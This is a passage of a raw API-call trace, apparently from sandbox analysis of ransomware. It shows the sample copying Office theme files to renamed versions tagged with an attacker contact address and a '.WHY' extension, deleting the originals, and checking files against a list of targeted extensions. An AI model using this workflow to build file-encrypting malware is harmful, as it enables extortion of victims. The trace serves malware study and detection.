out: lpNewFilePointer=0x0) returned 1 [0276.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0276.275] GetLastError () returned 0x0 [0276.275] ReadFile (in: hFile=0x3cc, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0xa8b9, lpOverlapped=0x0) returned 1 [0276.689] WriteFile (in: hFile=0x15c, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xa8c0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xa8c0, lpOverlapped=0x0) returned 1 [0276.695] ReadFile (in: hFile=0x3cc, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0276.695] WriteFile (in: hFile=0x15c, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0276.695] SetEndOfFile (hFile=0x15c) returned 1 [0276.695] CloseHandle (hObject=0x15c) returned 1 [0276.698] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0276.698] SetEndOfFile (hFile=0x3cc) returned 1 [0276.708] CloseHandle (hObject=0x3cc) returned 1 [0276.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0276.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 1 [0276.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0276.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0276.710] lstrlenW (lpString=".doc") returned 4 [0276.710] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0276.710] lstrlenW (lpString=".docx") returned 5 [0276.710] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0276.710] lstrlenW (lpString=".pdf") returned 4 [0276.710] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0276.710] lstrlenW (lpString=".xls") returned 4 [0276.710] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0276.710] lstrlenW (lpString=".xlsx") returned 5 [0276.710] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0276.710] lstrlenW (lpString=".ppt") returned 4 [0276.710] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0276.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0276.710] lstrlenW (lpString=".zip") returned 4 [0276.711] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0276.711] lstrlenW (lpString=".rar") returned 4 [0276.711] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0276.711] lstrlenW (lpString=".bz2") returned 4 [0276.711] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0276.711] lstrlenW (lpString=".7z") returned 3 [0276.711] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0276.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0276.711] lstrlenW (lpString=".dbf") returned 4 [0276.711] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0276.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0276.711] lstrlenW (lpString=".1cd") returned 4 [0276.711] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0276.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0276.711] lstrlenW (lpString=".jpg") returned 4 [0276.712] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0276.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0276.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0276.712] lstrlenW (lpString=".doc") returned 4 [0276.712] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0276.712] lstrlenW (lpString=".docx") returned 5 [0276.712] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0276.712] lstrlenW (lpString=".pdf") returned 4 [0276.712] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0276.712] lstrlenW (lpString=".xls") returned 4 [0276.712] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0276.712] lstrlenW (lpString=".xlsx") returned 5 [0276.713] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0276.713] lstrlenW (lpString=".ppt") returned 4 [0276.713] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0276.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0276.713] lstrlenW (lpString=".zip") returned 4 [0276.713] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0276.713] lstrlenW (lpString=".rar") returned 4 [0276.713] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0276.713] lstrlenW (lpString=".bz2") returned 4 [0276.713] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0276.713] lstrlenW (lpString=".7z") returned 3 [0276.713] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0276.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0276.713] lstrlenW (lpString=".dbf") returned 4 [0276.714] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0276.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0276.714] lstrlenW (lpString=".1cd") returned 4 [0276.714] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0276.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0276.714] lstrlenW (lpString=".jpg") returned 4 [0276.714] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0276.715] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0276.715] lstrlenW (lpString="Perspective.eftx") returned 16 [0276.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0277.162] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=21423) returned 1 [0277.162] CloseHandle (hObject=0x3b8) returned 1 [0277.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 0x20 [0277.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0277.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0277.164] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0277.164] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0277.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0277.165] GetLastError () returned 0x0 [0277.165] ReadFile (in: hFile=0x3b8, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x53af, lpOverlapped=0x0) returned 1 [0277.236] WriteFile (in: hFile=0x3c8, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x53b0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x53b0, lpOverlapped=0x0) returned 1 [0277.241] ReadFile (in: hFile=0x3b8, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0277.241] WriteFile (in: hFile=0x3c8, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0277.242] SetEndOfFile (hFile=0x3c8) returned 1 [0277.242] CloseHandle (hObject=0x3c8) returned 1 [0277.243] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0277.244] SetEndOfFile (hFile=0x3b8) returned 1 [0277.263] CloseHandle (hObject=0x3b8) returned 1 [0277.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0277.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 1 [0277.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0277.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0277.394] lstrlenW (lpString=".doc") returned 4 [0277.394] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0277.394] lstrlenW (lpString=".docx") returned 5 [0277.395] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0277.395] lstrlenW (lpString=".pdf") returned 4 [0277.395] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0277.395] lstrlenW (lpString=".xls") returned 4 [0277.395] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0277.395] lstrlenW (lpString=".xlsx") returned 5 [0277.395] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0277.395] lstrlenW (lpString=".ppt") returned 4 [0277.395] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0277.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0277.395] lstrlenW (lpString=".zip") returned 4 [0277.395] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0277.395] lstrlenW (lpString=".rar") returned 4 [0277.395] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0277.396] lstrlenW (lpString=".bz2") returned 4 [0277.396] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0277.396] lstrlenW (lpString=".7z") returned 3 [0277.396] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0277.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0277.396] lstrlenW (lpString=".dbf") returned 4 [0277.396] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0277.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0277.396] lstrlenW (lpString=".1cd") returned 4 [0277.396] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0277.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0277.396] lstrlenW (lpString=".jpg") returned 4 [0277.396] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0277.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0277.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0277.397] lstrlenW (lpString=".doc") returned 4 [0277.397] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0277.397] lstrlenW (lpString=".docx") returned 5 [0277.397] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0277.397] lstrlenW (lpString=".pdf") returned 4 [0277.397] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0277.397] lstrlenW (lpString=".xls") returned 4 [0277.397] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0277.398] lstrlenW (lpString=".xlsx") returned 5 [0277.398] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0277.398] lstrlenW (lpString=".ppt") returned 4 [0277.398] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0277.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0277.398] lstrlenW (lpString=".zip") returned 4 [0277.398] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0277.398] lstrlenW (lpString=".rar") returned 4 [0277.398] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0277.398] lstrlenW (lpString=".bz2") returned 4 [0277.398] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0277.398] lstrlenW (lpString=".7z") returned 3 [0277.399] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0277.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0277.399] lstrlenW (lpString=".dbf") returned 4 [0277.399] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0277.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0277.399] lstrlenW (lpString=".1cd") returned 4 [0277.399] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0277.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0277.399] lstrlenW (lpString=".jpg") returned 4 [0277.399] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0277.400] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0277.400] lstrlenW (lpString="Solstice.eftx") returned 13 [0277.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0277.588] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=27781) returned 1 [0277.588] CloseHandle (hObject=0x394) returned 1 [0277.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 0x20 [0277.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0277.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0277.880] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0277.880] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0277.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0277.881] GetLastError () returned 0x0 [0277.881] ReadFile (in: hFile=0x3b4, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x6c85, lpOverlapped=0x0) returned 1 [0277.967] WriteFile (in: hFile=0x3b8, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x6c90, lpOverlapped=0x0) returned 1 [0277.971] ReadFile (in: hFile=0x3b4, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0277.982] WriteFile (in: hFile=0x3b8, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0277.982] SetEndOfFile (hFile=0x3b8) returned 1 [0277.990] CloseHandle (hObject=0x3b8) returned 1 [0277.992] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0277.992] SetEndOfFile (hFile=0x3b4) returned 1 [0278.001] CloseHandle (hObject=0x3b4) returned 1 [0278.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0278.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\solstice.eftx")) returned 1 [0278.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0278.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0278.807] lstrlenW (lpString=".doc") returned 4 [0278.808] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.808] lstrlenW (lpString=".docx") returned 5 [0278.808] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.808] lstrlenW (lpString=".pdf") returned 4 [0278.808] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.808] lstrlenW (lpString=".xls") returned 4 [0278.808] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.808] lstrlenW (lpString=".xlsx") returned 5 [0278.808] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.808] lstrlenW (lpString=".ppt") returned 4 [0278.808] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0278.808] lstrlenW (lpString=".zip") returned 4 [0278.809] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.809] lstrlenW (lpString=".rar") returned 4 [0278.809] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.809] lstrlenW (lpString=".bz2") returned 4 [0278.809] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.809] lstrlenW (lpString=".7z") returned 3 [0278.809] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0278.809] lstrlenW (lpString=".dbf") returned 4 [0278.809] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0278.809] lstrlenW (lpString=".1cd") returned 4 [0278.810] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0278.810] lstrlenW (lpString=".jpg") returned 4 [0278.810] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0278.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0278.810] lstrlenW (lpString=".doc") returned 4 [0278.810] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.810] lstrlenW (lpString=".docx") returned 5 [0278.810] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.810] lstrlenW (lpString=".pdf") returned 4 [0278.810] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.810] lstrlenW (lpString=".xls") returned 4 [0278.811] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.811] lstrlenW (lpString=".xlsx") returned 5 [0278.811] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.811] lstrlenW (lpString=".ppt") returned 4 [0278.811] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0278.811] lstrlenW (lpString=".zip") returned 4 [0278.811] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.811] lstrlenW (lpString=".rar") returned 4 [0278.811] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.811] lstrlenW (lpString=".bz2") returned 4 [0278.811] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.811] lstrlenW (lpString=".7z") returned 3 [0278.811] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0278.812] lstrlenW (lpString=".dbf") returned 4 [0278.812] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0278.812] lstrlenW (lpString=".1cd") returned 4 [0278.812] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Solstice.eftx") returned 80 [0278.812] lstrlenW (lpString=".jpg") returned 4 [0278.812] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.813] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0278.814] lstrlenW (lpString="Urban.eftx") returned 10 [0278.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0278.964] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=19611) returned 1 [0278.964] CloseHandle (hObject=0x38c) returned 1 [0278.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 0x20 [0279.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0279.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0279.251] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.251] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0279.252] GetLastError () returned 0x0 [0279.252] ReadFile (in: hFile=0x3a0, 